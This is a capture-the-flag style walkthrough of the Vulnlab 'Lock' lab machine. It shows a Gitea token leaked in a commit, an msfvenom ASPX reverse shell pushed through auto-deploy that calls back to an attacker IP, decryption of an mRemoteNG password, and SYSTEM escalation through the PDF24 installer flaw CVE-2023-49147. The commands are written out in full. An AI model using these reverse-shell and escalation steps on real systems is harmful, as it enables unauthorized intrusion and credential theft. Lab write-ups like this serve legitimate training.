Vulnlab Lock

Vulnlab Lock Writeup

Recon

Let’s begin with a traditional Nmap scan to gather information about open ports and the services running on them

nmap -sCV -Pn 10.10.80.147

We found interesting information, but first let’s check port the website on port 80

After doing some enumeration on the website, nothing really useful is found, in Nmap we also found that port 3000 host Gitea

Let’s see if we can find something there. First, let’s click on Explore to find repository

We found a repository named dev-scripts which contains only a python file, we also found a new user ellen.freeman

Depending on your programming skills, you may already found interesting things. Here we can see that the program try to retrieve repositories but it is expecting a GITEA_ACCESS_TOKEN to run

What can we do from here? Well, we can see at http://10.10.80.147:3000/ellen.freeman/dev-scripts that the repository has two commits. So, we can examine the differences between them

Click at the top where you can see 2 Commits

We can see now the two commits and find differences between them

Let’s open the first commit, where the message is Add repos.py

Did you catch something different than in the second one? The PERSONAL_ACCESS_TOKEN is here! The developer forgot to remove it before to create and publish the repository so attackers like us can view it

Great! We now have everything we need to run the script and try to find all the repositories that may be hidden from us (private repositories)

Foothold

Open a terminal on your machine, we gonna clone the repository and run repos.py

git clone http://10.10.80.147:3000/ellen.freeman/dev-scripts.git
cd dev-scripts

Wait! Before to run the script we need to set an environment variable GITEA_ACCESS_TOKEN with the token we found in the first commit

export GITEA_ACCESS_TOKEN='43ce39bb0bd6bc489284f2905f033ca467a6362f'

Now we can run the script

python3 repos.py http://10.10.80.147:3000

We found a new repository website! And It’s probably the one of the website on port 80

Let’s clone it and see if we can abuse it or find useful information

git clone http://10.10.80.147:3000/website

It doesn’t work, why? Because it’s a private repository so we need to be authenticated as a user with access to be able to clone the repository

You might ask, ‘So what can we do?’ We are stuck because we don’t have valid credentials!

Well that’s not true, we have an access token remember? I found here how to add a token to git clone!

git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.10.80.147:3000/ellen.freeman/website
cd website

There’s a readme file, let’s see what it say

That’s a great information for us! That’s mean that if we create a file, it will automatically be deployed to the webserver

What if we upload a malicious script? Let’s try that now

Let’s use msfvenom to create an aspx file to give us a reverse shell, and then push it to the webserver

msfvenom -f aspx -p windows/x64/shell_reverse_tcp LHOST=10.8.2.80 LPORT=1337 -o rev.aspx

git remote set-url origin http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.10.80.147:3000/ellen.freeman/website

git add rev.aspx

git commit -m "pwned"

git push

Good! Now don’t forget to setup a listener on port 1337 (or the port you choose when using msfvenom)

rlwrap nc -lnvp 1337

Now let’s browse to http://10.10.80.147/rev.aspx

And we get foothold!

Post Exploitation

Let’s see on which user we got a reverse shell

whoami

We are ellen.freeman. Is there other users on this machine? let’s check

dir C:\Users

Lateral Movement

We found a new user, gale.dekarios. Does gale have more administrative rights? Can we move laterally to her?

Well right now let’s see if what we can find on the machine. After some enumeration, we found a file config.xml on the ellen‘s Documents folder

Let’s see what is inside

type config.xml

This looks interesting, it’s the config file for mRemoteNG and we see that gale‘s password is encrypted in this file

Copy the content of the file into your attacker machine and name it config.xml

This Python script can be used to decrypt the password : https://github.com/gquere/mRemoteNG_password_decrypt/blob/master/mremoteng_decrypt.py

python3 exploit.py config.xml

We now have the clear text password for gale! Let’s use RDP to connect

freerdp /u:Gale.Dekarios /p:<PASSWORD> /v:10.10.80.147 /dynamic-resolution

Privilege Escalation

As we can see on the desktop, there’s a program called PDF24 Toolbox. After a quick Google search we can see that version 11.14.0 and 11.15.1 are vulnerable to privilege escalation (CVE-2023-49147)

Is our installed version one of those version? Let’s open a terminal and run this command

wmic datafile where 'name="C:\\Program Files\\PDF24\\pdf24.exe"' get version

We run version 11.15.1! That’s mean our PDF24 version is vulnerable to privilege escalation. I found this post that explain why it is vulnerable and also give us a POC : https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-msi-installer-in-pdf24-creator-geek-software-gmbh/

First we need to download SetOpLock.exe from https://github.com/googleprojectzero/symboliclink-testing-tools/releases on our attacker machine

Then open a terminal and run the following command to unzip

sudo apt install p7zip-full

7za x Release.7z

Make an Python http server on your attacker machine where SetOpLock.exe is located

python3 -m http.server 80

Then go back to the RDP session, open a PowerShell terminal and navigate to the _install folder, where the msi installer is located

cd C:\_install

In the _install folder, download the SetOpLock.exe

$client = new-object System.Net.WebClient

$client.DownloadFile("http://10.8.2.80/SetOpLock.exe", "C:\_install\SetOpLock.exe")

We are all set! Let’s get the privesc now

First run SetOpLock.exe

.\SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r

Open a new terminal, and run

msiexec.exe /fa 'C:\_install\pdf24-creator-11.15.1-x64.msi'

It will show a pop up, let it as it is and click on OK

You will see an error message pop up, just click on OK again

After couple seconds (around 30sec), a new PowerShell session will open

Right click on the top bar of the cmd window and select Properties

Then click on the hyperlink legacy console mode

Open the link in Firefox but Do not open in Microsoft Edge or Internet Explorer

It will open Firefox, hit CRTL + O on your keyboard

You will see File Explorer, search for cmd.exe and open

It will open a terminal as nt authority\system